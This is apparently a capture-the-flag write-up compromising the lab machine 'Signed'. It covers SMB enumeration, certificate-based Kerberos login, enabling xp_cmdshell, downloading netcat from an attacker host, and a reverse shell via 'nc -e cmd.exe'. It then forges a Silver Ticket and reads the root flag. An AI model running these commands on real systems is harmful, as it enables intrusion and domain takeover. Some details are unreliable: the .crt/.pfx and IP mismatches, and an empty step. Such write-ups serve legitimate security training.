Signed

🔍 1. Initial Nmap Scan

Started with a comprehensive nmap scan to identify open ports and services:

nmap -sCV -T4 -p- -oN nmap-signed.nmap 10.10.11.55

---

📋 2. SMB Enumeration

Enumerated SMB shares using netexec:

netexec smb 10.10.11.55 -u 'guest' -p '' --shares

Discovered writable share:

• Share: SharedDocs (READ, WRITE)

---

🔐 3. Certificate Analysis

Found a certificate file on the SMB share and extracted the certificate chain:

smbclient //10.10.11.55/SharedDocs -U guest%
get signedca.crt

Analyzed the certificate to extract user information:

openssl pkcs12 -in signedca.pfx -nokeys -out signedca_cert.pem
openssl pkcs12 -in signedca.pfx -nocerts -nodes -out signedca_key.pem

---

🎟️ 4. Request TGT using Certificate

Used certipy to authenticate with the certificate and request a TGT:

certipy auth -pfx signedca.pfx -dc-ip 10.10.11.55 -domain signed.htb -username mssqlsvc -ns 10.10.11.55

🗄️ 5. MSSQL Access

Connected to MSSQL service using the obtained credentials:

mssqlclient.py -k -no-pass -dc-ip 10.10.11.55 SIGNED.HTB/mssqlsvc@DC01.SIGNED.HTB

---

⚙️ 6. Enable xp_cmdshell

Enabled xp_cmdshell to execute system commands:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

---

🔄 7. Reverse Shell Setup

Downloaded netcat to the target machine:

xp_cmdshell "powershell wget -UseBasicParsing http://10.10.14.5:3000/nc.exe -OutFile %temp%/nc.exe"

Started listener on attacking machine:

rlwrap nc -nlvp 4000

Executed reverse shell from MSSQL:

xp_cmdshell %temp%\nc.exe -nv 10.10.14.18 4000 -e cmd.exe

---

🚩 8. User Flag

Retrieved the user flag from the Desktop:

C:\Users\mssqlsvc\Desktop> type user.txt
[USER FLAG RETRIEVED]

🔍 9. SID Enumeration

Retrieved SIDs for privileged groups and the service account to prepare for Silver Ticket attack:

---

🎫 10. Forge Silver Ticket

Created a forged Kerberos Silver Ticket with elevated privileges:

ticketer.py -nthash EF699384C3285C54128A3EE1DDB1A0CC \
  -domain-sid S-1-5-21-4088429403-1159899800-2753317549 \
  -domain SIGNED.HTB \
  -spn MSSQLSvc/DC01.SIGNED.HTB \
  -groups 512,519,1105 \
  -user-id 1103 \
  mssqlsvc

Export the ticket for use:

export KRB5CCNAME=mssqlsvc.ccache

---

🔓 11. Privileged MSSQL Access

Connected to MSSQL with the forged ticket and enabled advanced features:

EXEC sp_configure 'show advanced options', 1; 
RECONFIGURE;
EXEC sp_configure 'Ad Hoc Distributed Queries', 1; 
RECONFIGURE;

---

👑 12. Root Flag Retrieval

With elevated privileges, read the root flag directly from the Administrator's desktop:

SELECT * FROM OPENROWSET(
    BULK 'C:\Users\Administrator\Desktop\root.txt', 
    SINGLE_CLOB
) AS x;

BulkColumn
---------------------------------------
b'329df3df42d69adbe23f40b9d063aa60\r\n'